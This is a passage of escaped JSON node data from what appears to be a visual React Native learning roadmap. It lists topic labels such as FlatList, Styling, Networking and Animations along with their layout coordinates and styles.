\"subtopic\",\n      \"position\": {\n        \"x\": 230.8618127280065,\n        \"y\": 896.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Switch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 230.8618127280065,\n        \"y\": 896.4393516042962\n      }\n    },\n    {\n      \"id\": \"QOOZs9qtz49agfZwi6k1B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 230.8618127280065,\n        \"y\": 949.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"StatusBar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 230.8618127280065,\n        \"y\": 949.9007482223487\n      }\n    },\n    {\n      \"id\": \"hHFR59RrdMIWxcQe72qCs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 949.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ActivityIndicator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 949.9007482223487\n      }\n    },\n    {\n      \"id\": \"V34mZCkpoT49o-74XoATS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 39.8618127280065,\n        \"y\": 1002.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Modal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 39.8618127280065,\n        \"y\": 1002.9007482223487\n      }\n    },\n    {\n      \"id\": \"4BgVq-cZYEXgqktvlNnet\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 195.8618127280065,\n        \"y\": 1002.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pressable\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 195.8618127280065,\n        \"y\": 1002.9007482223487\n      }\n    },\n    {\n      \"id\": \"GrFL32pZ_eOmdJRzSlH8b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -166.22896441825404,\n        \"y\": 712.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"View\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"h3ypxGxeHDCTxURHg6D2d\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -166.22896441825404,\n        \"y\": 712.9007482223487\n      }\n    },\n    {\n      \"id\": \"UqCpoPzYio3ng3RFlbvZ7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 42.8618127280065,\n        \"y\": 659.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SafeAreaView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8bn1PFd9h0ek6_T-cl1cS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 42.8618127280065,\n        \"y\": 659.9007482223487\n      }\n    },\n    {\n      \"id\": \"8bn1PFd9h0ek6_T-cl1cS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 42.3618127280065,\n        \"y\": 712.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"KeyboardAvoidingView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 306,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 42.3618127280065,\n        \"y\": 712.9007482223487\n      }\n    },\n    {\n      \"id\": \"x-OZCZcX6uhN3Yr5BAATn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.6381872719935,\n        \"y\": 896.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Listings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"h3ypxGxeHDCTxURHg6D2d\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230\n      },\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -560.6381872719935,\n        \"y\": 896.4393516042962\n      }\n    },\n    {\n      \"id\": \"yN283SRWoALOEZh9iTn-L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 999.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ScrollView\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"m8Nu71Y61Ha_fLxdtWTkn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 999.4393516042962\n      }\n    },\n    {\n      \"id\": \"h3ypxGxeHDCTxURHg6D2d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 1052.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ListViews\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 1052.4393516042962\n      }\n    },\n    {\n      \"id\": \"CYqLNGyOe9f9hVhbyUnTX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699,\n        \"y\": 1111.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"FlatList\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"gLJMD9X7chy8OxdALht8g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699,\n        \"y\": 1111.4393516042962\n      }\n    },\n    {\n      \"id\": \"gLJMD9X7chy8OxdALht8g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -589.1381872719935,\n        \"y\": 1111.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"SectionList\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"h3ypxGxeHDCTxURHg6D2d\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -589.1381872719935,\n        \"y\": 1111.4393516042962\n      }\n    },\n    {\n      \"id\": \"m8Nu71Y61Ha_fLxdtWTkn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.6381872719935,\n        \"y\": 1178.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"RefreshControl\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"gLJMD9X7chy8OxdALht8g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181\n      },\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.6381872719935,\n        \"y\": 1178.9007482223487\n      }\n    },\n    {\n      \"id\": \"HiUbRfOv8OttFd85pDUHN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1114.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Writing Platform Specific Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1114.4393516042962\n      }\n    },\n    {\n      \"id\": \"KZIrRSYq_I-YzpFaYLuWi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1203.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Platform Module\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UQpyXrC2cs_jDXxVTlQOu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1203.9007482223487\n      }\n    },\n    {\n      \"id\": \"LLANnVosxOUCPTtuBfNgu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1256.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"File Extensions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UQpyXrC2cs_jDXxVTlQOu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1256.9007482223487\n      }\n    },\n    {\n      \"id\": \"UQpyXrC2cs_jDXxVTlQOu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1309.9007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"react-native-web\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 284\n      },\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -402.3175069304428,\n        \"y\": 1309.9007482223487\n      }\n    },\n    {\n      \"id\": \"ervpuL89myBW3oR9r-4lH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1114.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Styling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1114.4393516042962\n      }\n    },\n    {\n      \"id\": \"wB0D9koC6jpt1rzX8F07F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1207.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stylesheets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KoXTwQUqPt_ZhOFuaelny\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184\n      },\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1207.4393516042962\n      }\n    },\n    {\n      \"id\": \"e-r3tuRZ3PzhFegES0oOm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1260.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Layouts & Flexbox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KoXTwQUqPt_ZhOFuaelny\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184\n      },\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1260.4393516042962\n      }\n    },\n    {\n      \"id\": \"KoXTwQUqPt_ZhOFuaelny\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1313.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184\n      },\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -42.1381872719935,\n        \"y\": 1313.4393516042962\n      }\n    },\n    {\n      \"id\": \"7GBV5sfOaGxHwpkNUvFWE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 204.8618127280065,\n        \"y\": 1414.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": 204.8618127280065,\n        \"y\": 1414.4393516042962\n      }\n    },\n    {\n      \"id\": \"k7uVPyhbPgvO6HxAfxxYZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 143.8618127280065,\n        \"y\": 1522.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Connectivity Status\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NdjmP1bZNYriV08vb-iRw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201\n      },\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 143.8618127280065,\n        \"y\": 1522.4007482223487\n      }\n    },\n    {\n      \"id\": \"aSCgax1M4wlmzkJSZV_fv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 143.8618127280065,\n        \"y\": 1575.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"WebSockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f7KFPFS2-EA90pumYHM9T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201\n      },\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 143.8618127280065,\n        \"y\": 1575.4007482223487\n      }\n    },\n    {\n      \"id\": \"f7KFPFS2-EA90pumYHM9T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 143.8618127280065,\n        \"y\": 1628.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fetch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201\n      },\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 143.8618127280065,\n        \"y\": 1628.4007482223487\n      }\n    },\n    {\n      \"id\": \"CAQJaGs24wx1SqKOU44aB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -142.228964418254,\n        \"y\": 1414.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Push Notifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -142.228964418254,\n        \"y\": 1414.4393516042962\n      }\n    },\n    {\n      \"id\": \"GYdz9a1yLiewAeMRSyfLr\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1414.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Interactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 184\n      },\n      \"positionAbsolute\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1414.4393516042962\n      }\n    },\n    {\n      \"id\": \"A7ZIe8nlQnHU5g3LM3Eif\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1308.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Touchables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1308.4007482223487\n      }\n    },\n    {\n      \"id\": \"xf7L5J42yQq3LE7lG2plp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1361.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Gesture Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1361.4007482223487\n      }\n    },\n    {\n      \"id\": \"nk6zdVNRz_xE71mVUOFsi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1414.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scrolling & Swiping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1414.4007482223487\n      }\n    },\n    {\n      \"id\": \"Jr2iuQqyCbx6CyTJj4Qz2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1467.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Screen Navigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1467.4007482223487\n      }\n    },\n    {\n      \"id\": \"3NLcPO-hqQV1EacoPLVrv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1520.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Animations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oK8z23a_CjcDjBJ843_Jn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194\n      },\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.4579568300146,\n        \"y\": 1520.4007482223487\n      }\n    },\n    {\n      \"id\": \"dckRzKDKj-mLB3-OxwjPh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -380.62298223659093,\n        \"y\": 1522.4007482223487\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      